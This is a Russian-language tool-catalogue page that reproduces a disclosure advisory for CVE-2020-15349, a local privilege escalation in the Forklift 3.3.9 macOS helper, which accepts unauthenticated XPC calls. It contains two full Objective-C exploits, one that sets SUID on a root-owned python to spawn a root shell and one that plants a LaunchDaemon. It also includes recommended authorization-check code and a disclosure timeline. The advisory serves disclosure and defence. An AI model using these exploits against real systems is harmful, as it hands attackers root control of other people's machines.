Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Forklift_LPE — Описание уязвимости CVE-2020-15349 | Kitploit
Инструменты/GitHubGitHub/traxes/forklift_lpe
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubtraxes/forklift_lpe

Forklift_LPE

Описание уязвимости CVE-2020-15349

Репозиторий
10115 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Локальное повышение привилегий в Forklift 3.3.9

При установке Forklift новый вспомогательный компонент com.binarynights.ForkLiftHelper для Mac OS X автоматически устанавливается в каталог /Library/PrivilegedHelperTools/. Анализ этого компонента, который обрабатывает XPC-сообщения, выявил различные способы повышения привилегий с уровня пользователя до root в Mac OS X.

При принятии XPC-вызовов по умолчанию используется функция HelperTool listener:shouldAcceptNewConnection, а именно (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection. Эта функция используется для выполнения начальных шагов по установлению XPC-соединения. Обычно эта функция выполняет авторизацию вызывающей стороны, однако функция com.binarynights.ForkLiftHelper не реализует никаких проверок авторизации. Таким образом, можно вызывать любые предоставляемые функции через XPC без авторизации.

Следующие функции доступны вызывающей стороне через XPC:

root@kitploit:~
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

Эксплуатация setuid

Первый способ эксплуатации этого компонента выглядит следующим образом:

Шаг 1: chown целевого интерпретатора

Скопируйте, например, интерпретатор python в каталог, контролируемый пользователем, и вызовите XPC-функцию changeOwner с параметром @"<path>" owner:0 group:0. Это изменит владельца интерпретатора python на root.

Шаг 2: Установка SUID-флага

Во-вторых, можно установить SUID-бит на интерпретатор, отправив XPC-запрос к функции changePermissions со следующим параметром @"<path>" permissions:2541. Права 2541 в восьмеричном представлении соответствуют числу 4755, которое устанавливает SUID-флаг на бинарный файл.

Шаг 3: LPE

Следующая команда запустит оболочку от имени root:

root@kitploit:~
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]

Полный эксплойт

Убедитесь, что интерпретатор python предварительно скопирован в /tmp с именем python_copied. Следующий эксплойт демонстрирует это LPE:

root@kitploit:~
//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//  
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        
        NSLog(@"Done!");
    }
    return 0;
}

Эксплуатация LaunchAgent

Второй способ эксплуатации этого компонента выглядит следующим образом:

Создание нового агента запуска

Благодаря XPC-вызову moveItem можно перемещать любой объект от имени root. Таким образом, можно записать plist-файл в каталог /tmp, а затем скопировать его в каталог /Library/LaunchDaemons/. Для функции moveItem используются следующие параметры: @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"

Полный эксплойт

Следующий код автоматически добавит новый агент запуска, который будет активирован при перезагрузке:

root@kitploit:~
//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        "<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
        "<plist version=\"1.0\">"
        "<dict>"
        "  <key>Label</key>"
        "  <string>com.sample.Load</string>"
        "  <key>ProgramArguments</key>"
        "  <array>"
        "      <string>/bin/zsh</string>"
      "      <string>-c</string>"
      "      <string>touch /Library/foobar.txt</string>"
        "  </array>"
        "    <key>RunAtLoad</key>"
        "    <true/>"
        "</dict>"
        "</plist>";
        
        [my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        NSLog(@"Done!");
    }
    return 0;
}

Рекомендация

Рекомендуется принудительно выполнять авторизацию при вызове XPC-компонента.

Эти проверки авторизации должны включать:

  • Вызывающая сторона является корректно подписанным приложением
  • Приложение вызывающей стороны хорошо защищено от атак с внедрением DYLIB (флаг runtime)
  • Приложение вызывающей стороны имеет правильный TeamID от компании-разработчика ПО

Отличный ресурс по проверкам авторизации можно найти в источнике [1].

Следующий пример функции shouldAcceptNewConnecton демонстрирует различные этапы корректных проверок авторизации:

root@kitploit:~
@interface NSXPCConnection(PrivateAuditToken)

// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;

@end

// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
   audit_token_t auditToken = connection.auditToken;
   NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
   NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
   SecCodeRef code = NULL;
   if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
       return NO;
   }
   // Before checking the requirement make sure that code signing flags
   // CS_HARD and CS_KILL are set. Dynamic code signature checks can only
   // check the code pages already swapped into memory, so make sure that
   // no malicious code can be loaded at a later time. You may want to
   // disable this check in debug builds.
   CFDictionaryRef csInfo = NULL;
   if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
       return NO;
   } else {
       uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
       CFRelease(csInfo);
       const uint32_t cs_hard = 0x100;         // don't load invalid pages
       const uint32_t cs_kill = 0x200;         // kill process if page is invalid
       const uint32_t cs_restrict = 0x800;     // prevent debugging
       const uint32_t cs_require_lv = 0x2000;  // Library Validation
       const uint32_t cs_runtime = 0x10000;    // hardened runtime
       if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
           // add all flags to check which are in your code signature!
           // In particular, we recommend cs_require_lv and cs_restrict.
           return NO;    // Not accepted because it can be tampered with
       }
   }

   NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
   SecRequirementRef requirement = NULL;

   // Check at least the peer's TeamID, e.g.
   // "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
   if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
       abort(); // error in requirement string
   }

   OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
   CFRelease(code);
   CFRelease(requirement);
   if (status != errSecSuccess) {
       return NO;
   }

   // further initialization of connection goes here...

   return YES;
}

Хронология раскрытия

  • 08.06.2020 Первичный контакт по адресу электронной почты
  • 08.06.2020 Ответ с просьбой отправить то же письмо без шифрования
  • 09.06.2020 Уточняющий вопрос о шифровании
  • 10.06.2020 Разрешение на зашифрованное раскрытие информации
  • 12.06.2020 Раскрытие информации об LPE
  • 15.06.2020 Частичное исправление CVE-2020-15349 (LPE)
  • 16.06.2020 Раскрытие информации об LPE через Entitlements
  • 19.06.2020 Раскрытие информации о том, что CVE-2020-15349 исправлен лишь частично
  • 19.08.2020 Исправление CVE-2020-27192 и окончательное исправление CVE-2020-15349

Ресурсы

[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/

Скачать инструмент